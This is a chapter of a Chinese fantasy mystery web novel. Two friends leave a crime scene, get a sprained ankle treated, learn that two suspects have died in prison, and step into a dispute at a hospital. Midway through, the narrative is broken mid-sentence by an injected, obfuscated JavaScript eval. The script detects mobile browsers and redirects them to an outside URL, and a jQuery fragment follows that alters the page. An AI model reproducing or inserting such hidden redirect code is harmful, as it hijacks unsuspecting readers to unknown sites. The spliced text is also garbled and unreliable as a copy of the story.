“说起来这次事件确实好神奇啊,现场又是爆炸又是着火的,我还以为会仅存废墟呢。”莉塔抱住艾加特的脖子,翻看着艾加特刚刚拍下来的照片,有些惊奇。
“现场复原魔法啦……不管警方那边乐不乐意都要用的,是固定流程的一环,专门用于处理这种受损严重的现场。”艾加特将背上的莉塔向上抬了抬,漫不经心地科普,“等犯罪现场残存的魔力散尽,现场就恢复原状了。”
“哇哦,听上去可真厉害!”莉塔收起录像石,抱紧艾加特,“说起来我们还有多久才能回去?”
“得益于里维尔女士可与陆龟媲美的速度以及堪与小魔精并驾齐驱的霉运——说真的,你到底是怎么在那么大一片空地上平地摔并且扭伤脚的——我们还有半个小时才能到森林入口。”艾加特扫了一眼身侧莉塔高高肿起的脚踝,无奈地翻了个白眼。
“嘿嘿,艾佳你最好了。”莉塔讨好地嘿嘿一笑,从挎包里掏出糖块,“吃糖吃糖,咱俩出去还得靠你呢。”
艾加特张嘴含住莉塔递来的糖块,飞快地看了一眼地上的影子,“行了,走吧,等出去了还要给你找个正经医疗师呢。”
“话说艾佳你到底是研究什么的啊?”莉塔自己也咔吧咔吧地嚼着糖块,声音有些含混不清,“总感觉你什么都了解一点。”
“唔……话说你还记得现代定义下的魔法是什么时候出现的吗?”艾加特想了想,提了个问题。
“那我哪知道,得是几百年前的事情了吧。”莉塔挠了挠头。
“是的,现在的魔法是在大约三百年前出现的,经过历代魔法师们的研究逐渐变成了现在这样融入生活方方面面的样子。”艾加特自顾自地补充着,然后困惑地晃了晃脑袋,“……但是在那之前呢?在那之前的人们要怎么生活呢?”
“好问题,不过也挺好猜的吧?就像你一样呗。”莉塔赶紧稳住自己的身体,笑嘻嘻地打趣,“像普通人一样不使用魔法,而是借助其他工具完成魔法可以完成的事情呗。”
“……对,但这不能解释另一个问题。”艾加特轻轻侧过脸,头发扫过莉塔的脸,痒痒的,“无论是借助魔力制造的药品,还是借助魔力制造的器具,其存在历史至少有千年以上,而且是已经成熟的应用历史至少有千年以上,按理来说,应该存在类似我们现在应用的魔咒一样的魔力应用方式,也就是早期的魔法,或许不如现在一般成熟高效,但它一定会存在——否则我们现在用的魔法体系岂不是从天上掉下来的?”
“但是我查阅了所有我能查阅的资料,一个字都没有发现,魔法像是一夜之间完善完成,变成了现在的样子。”艾加特眯起眼睛,“你猜怎么着,最早的一篇已经是286年前的一位魔法师的记录,他已经能张口就来,完整归纳与现在的现代魔法一模一样的分类了,‘夜有所梦’,真就天神的馈赠呗。”
“喂,艾佳,这种话可不敢乱说,万一女神真怪罪怎么办?”莉塔紧张兮兮地拍了拍她的背。
“难道你不好奇么?”艾加特将莉塔放在路边的树桩上,直勾勾地盯着她的双眼,深灰色的眼睛深处仿佛有火苗在燃烧,“那些古老又古怪的机械,那些残破而陈旧的手稿,它们是哪位天才智慧的回响?它们究竟归属于哪个璀璨的时代?它们究竟见证过何等辉煌的过往?你扪心自问,真的没有产生过一丝疑问吗?”
“我——”莉塔欲言又止,拉住艾加特的衣袖,张了张嘴,最后还是徒劳地重复,“或许是女神——”
“算了,不提这个了,总之,我研究的是古代药剂,有不少现在属于管制药剂或者禁药,所以我才会有学校禁书区的许可证,就是这样。”艾加特语气温和又不容拒绝地打断了莉塔的话,“走吧,天要黑了,我们还要给你找医疗师呢。”
“……艾佳,你是不是知道什么很恐怖的事情?”
“你为什么这么想?”
“直觉……”
“……”
“艾、艾佳——”
“……前面能看见灯光了,我们快到了。”
“幸好没有伤到骨头,抹点普通治疗药剂就行——克、克里塔亚女士,我说的应该没问题吧?”医疗师小心翼翼地偷看艾加特的脸色。
“你是医疗专业的还是我是?”艾加特无奈地叹了口气,“我只是个陪同人员,你才是医生,有不确定的求助你自己的师长去,看我干什么?”
“这不是习惯了嘛……”医疗师讪讪地挠头,手脚麻利地在桌上摆的瓶子里拿了几瓶,“这瓶绿色的,等下在外面直接抹到受伤部位即可,这瓶红色的同步口服即可,如果后面一直没能消肿的话,就把黄色那瓶也抹上——需要我再说一遍吗?”
莉塔赶紧摇摇头,“不用了,我都记住了。”
“那好,带着缴费单去一楼门口缴费。”医疗师熟练地在一边的单子上画了几笔,将处方递给莉塔。
艾加特扶着坚持自己单腿蹦跶的莉塔,一路交了费,领了药,又前往休息区,两人找了个没人的角落坐下。
“我看看说明……怎么还得等一会儿才能见效啊——”莉塔夸张地唉声叹气,用手指点了点上面写的“生效需等待约二十分钟”,“在这里呆着会很无聊的。”
“那边有放报纸的地方,我去给你拿两张消遣一会儿吧。”艾加特无奈地摇摇头,指了指远处木桌上的盒子,“如果他们今天没更新你可别闹。”
“好吧,有的看总比干坐着强。”莉塔思索一下,用力点头,“实在不行我叠两只纸青蛙得了。”
“那你等我一下。”说着,艾加特向木桌走去。
艾加特拿起桌上的报纸,自己先大致浏览了一遍,突然僵住了。
“嘿,小姑娘,你不看就放下,别人还要看呢。”一旁的男子不满地嚷嚷。
“抱歉,这份报纸我要用一下!”艾加特一边道歉,一边捏着报纸一溜烟跑回去,将报纸展开给莉塔看,“莉塔,看这里!”
莉塔喃喃地念出艾加特手指的部分:“卡莉·普林尼被无穷无尽的罪恶感压垮,在狱中上吊自尽,仅仅两天后,托马斯·贝特曼紧随其脚步,用盥洗池中的清水终结了自己的罪恶生命……”
她猛地抬头,错愕地看着表情凝重的艾加特,感觉舌头有点打结:“这、这……”
“估计是背后的人干的,就是不知道是哪一拨人。”艾加
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527389|203577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
特将报纸卷成筒状,敲了敲手心。
“他们不都是一伙的吗?”莉塔下意识地想站起来,却不小心扯到伤口,痛呼一声,眉毛皱成一团。
“举行献祭仪式的是一伙人、提供错误信息的是一伙人、想要帕桑石药剂的是一伙人、最后跑来追杀我们的人背后也是一伙人……”艾加特一本正经地按着指头数,“虽然可能有重叠,但是至少有两伙人是肯定的。”
“天哪……”莉塔目瞪口呆,“那我们岂不是需要查好多好多人啊……”
“……谁知道呢,现在线索又断了。”艾加特单手叉腰,将报纸丢给她,无奈地直摇头,“紧赶慢赶还是晚了一步……”
“那接下来怎么办?”莉塔紧张地看向艾加特。
艾加特沉默片刻,指尖敲打着手臂内侧,半晌后才沉重地叹了口气,“是我低估了这起事件的难度……等我先去找冬青区的法医要一下尸检报告吧……也别抱太大希望,上次是因为尸检是我做的,才有具体报告,这回……怕是很难拿到,走一步看一步吧。”
“最坏的情况是,我们得暂且搁置这件事情了。”艾加特眯起眼睛,“毕竟,说句冷血的话,我们全部不是专业的刑事调查人员,能查到这个地步已经是建立在冬青区的警官们完全不干活的基础上了。”
莉塔不甘心地咬咬嘴唇,但也只能承认艾加特说的完全正确,单她还是有些不甘心,“可是——”
“好哇,你竟敢偷老娘的东西!”尖利的指控打破休息区的宁静,让所有人的视线都集中到声音发出的地方。
莉塔和艾加特的对话也暂时中断,两人顺着声音的方向看去。
妆容浓艳的女子怒气冲冲地攥着一个手足无措的小护士的胳膊,长指甲几乎嵌进小护士的肉里,痛得小护士面目狰狞又不敢直接去掰女子的手,只能一叠声地否认,“女士,请您冷静一点,我没有偷您的东西!”
“艾佳,管不管?”莉塔轻轻拍了拍艾加特的胳膊,“正好我的脚踝也消肿了,正想活动活动。”
“当然,总不能看着她在医院破坏秩序。”说着,艾加特起身,向正在争辩的两个人走去。
“女士,请问能否告知我这里发生了什么事情。”艾加特抓住女子的手,轻而易举地分开两人,又对听见吵闹声跑出来的医疗师使了个眼色,“您看这样行不行——我们找一个空闲的休息室,坐下来好好盘点一下事情的经过,如果真的是她的错,我们让她给您赔礼道歉,把东西原模原样地还给您,您意下如何?”
女子的胸脯剧烈起伏,想发火,但也敏锐地从医疗师和小护士的态度中察觉来者的地位,居然硬是压下满腔怒火,尽可能地挤出一丝比哭还难看的笑容,“不、不用了,既然您为她担保,那我相信应该不是她,可能是我自己掉在哪里了,哈哈——”
“不必勉强,如果有人在我们这里遭窃,连带着医院的名声也不好听。”艾加特不赞同地摇摇头,语气平静,“听上去丢失的物品对您来说也很重要,否则您不会反应如此激烈,不是么?”
“来吧,说不定我们很快就能得知真相了。”艾加特不由分说地拉着女子和小护士一起走向走廊尽头。